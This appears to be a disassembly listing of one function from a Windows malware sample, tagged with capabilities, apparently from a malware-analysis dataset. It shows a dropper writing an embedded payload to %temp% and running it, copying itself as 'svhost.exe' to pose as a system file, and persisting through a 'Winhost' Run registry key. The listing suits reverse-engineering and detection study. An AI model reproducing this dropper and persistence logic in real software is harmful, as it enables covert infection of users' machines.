Function at 0x401530
Capabilities:
Create process on windows
Create process suspended
Generate random numbers via winapi
Persist via run registry key
Query environment variable
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x530
mov eax, dword [0x405018]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov ebx, dword [ebp + 8]
push edi
mov dword [ebp - 0x4c4], ecx
mov ecx, 0x1f
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
lea edi, [ebp - 0xac]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 0x4c4]
mov edi, dword [sym.imp.ntdll.dll_NtClose]
add esi, 0xffffffe8
add esi, edx
mov dword [ebp - 0x4bc], edx
cmp dword [esi], 0xa524e4b
mov dword [ebp - 0x4b8], esi
jne 0x40179f
mov edx, dword [esi + 4]
mov ecx, esi
lea eax, [esi + 8]
sub ecx, edx
push eax
mov dword [ebp - 0x4b4], ecx
call fcn.00401390
xor edi, edi
lea eax, [ebp - 0x4c8]
push eax
push 4
push dword [0x405438]
mov dword [ebp - 0x4c8], 0
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov esi, dword [ebp - 0x4c8]
mov eax, 0x8421085
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
mov eax, ecx
shl eax, 5
sub eax, ecx
add eax, eax
sub esi, eax
inc edi
mov ax, word [ebp + esi*2 - 0xac]
mov word [ebp + edi*2 - 0x2a], ax
cmp edi, 0xf
jb 0x4015a4
add edi, edi
cmp edi, 0x20
jae 0x401983
xor eax, eax
mov word [ebp + edi - 0x28], ax
push 0x200
lea eax, [ebp - 0x4ac]
push eax
push str._temp__
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0x28]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x401627
lea edi, [ebp - 0x4ac]
sub edx, esi
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401640
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x4ac]
add ecx, 0xfffffffe
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x401663
mov eax, dword [str..exe]
push 0
push 0
mov dword [ecx], eax
mov eax, dword [0x4032d4]
push 2
mov dword [ecx + 4], eax
mov ax, word [0x4032d8]
push 0
push 0
mov word [ecx + 8], ax
push 0x40000000
lea eax, [ebp - 0x4ac]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4017a7
push 0
lea eax, [ebp - 0x4d0]
push eax
mov eax, dword [ebp - 0x4b8]
push dword [eax + 4]
push dword [ebp - 0x4b4]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov edi, dword [sym.imp.ntdll.dll_NtClose]
mov esi, eax
call edi
test esi, esi
je 0x4017ad
push 0x44
lea eax, [ebp - 0x52c]
push 0
push eax
call sub.MSVCR110.dll_memset
xorps xmm0, xmm0
lea edi, [ebp - 0x4ac]
add esp, 0xc
movq qword [ebp - 0x4e0], xmm0
movq qword [ebp - 0x4d8], xmm0
add edi, 0xfffffffe
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x401710
mov eax, dword [0x4032dc]
mov dword [edi], eax
mov esi, ebx
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x401725
lea edi, [ebp - 0x4ac]
sub ebx, esi
add edi, 0xfffffffe
jmp 0x401740
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401740
lea eax, [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
mov ecx, ebx
shr ecx, 2
push 0
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4ac]
mov ecx, ebx
push eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, dword [sym.imp.ntdll.dll_NtClose]
test eax, eax
je 0x4017ad
push dword [ebp - 0x4dc]
call edi
push dword [ebp - 0x4e0]
call edi
jmp 0x4017ad
mov ecx, dword [ebp - 0x4d0]
jmp 0x4017bf
mov edi, dword [sym.imp.ntdll.dll_NtClose]
mov ecx, dword [ebp - 0x4b4]
mov edx, dword [ebp - 0x4bc]
mov esi, dword [ebp - 0x4b8]
mov eax, dword [ebp - 0x4c4]
mov dword [0x40543c], eax
mov eax, dword [esi]
cmp eax, 0xa524e4b
jne 0x4017d9
sub edx, dword [esi + 4]
sub edx, 0x18
push dword [esi + 4]
xor ebx, ebx
cmp eax, 0xa524e4b
push 0
push ecx
mov dword [0x405430], edx
sete bl
call sub.MSVCR110.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4bd]
push eax
xorps xmm0, xmm0
push 0
movq qword [esi], xmm0
push 1
movq qword [esi + 8], xmm0
push 0x14
movq qword [esi + 0x10], xmm0
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
test eax, eax
push 0x200
setns cl
lea eax, [ebp - 0x4ac]
push eax
mov edx, str._temp__svhost.exe
test cl, cl
mov eax, 0x4032e0
cmove eax, edx
push eax
mov byte [ebp - 0x4ad], cl
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x4ac]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40188a
push 0
lea eax, [ebp - 0x4d0]
push eax
push dword [0x405430]
push dword [0x40543c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call edi
lea eax, [ebp - 0x4cc]
push eax
xor eax, eax
cmp byte [ebp - 0x4ad], al
push str.SoftwareMicrosoftWindowsCurrentVersionRun
setne al
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4018ff
lea ecx, [ebp - 0x4ac]
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4018c0
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x4ac]
push eax
push 1
push 0
push str.Winhost
push dword [ebp - 0x4cc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x4cc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x40195a
push 0x44
lea eax, [ebp - 0x52c]
push 0
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
push 0
lea eax, [ebp - 0x4ac]
push eax
movq qword [ebp - 0x4e0], xmm0
movq qword [ebp - 0x4d8], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x405430]
mov ecx, dword [0x40543c]
call fcn.00401270
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
mov dword [0x405440], eax
pop ebx
call fcn.0040237d
mov esp, ebp
pop ebp
ret 4
call fcn.004025c4
int3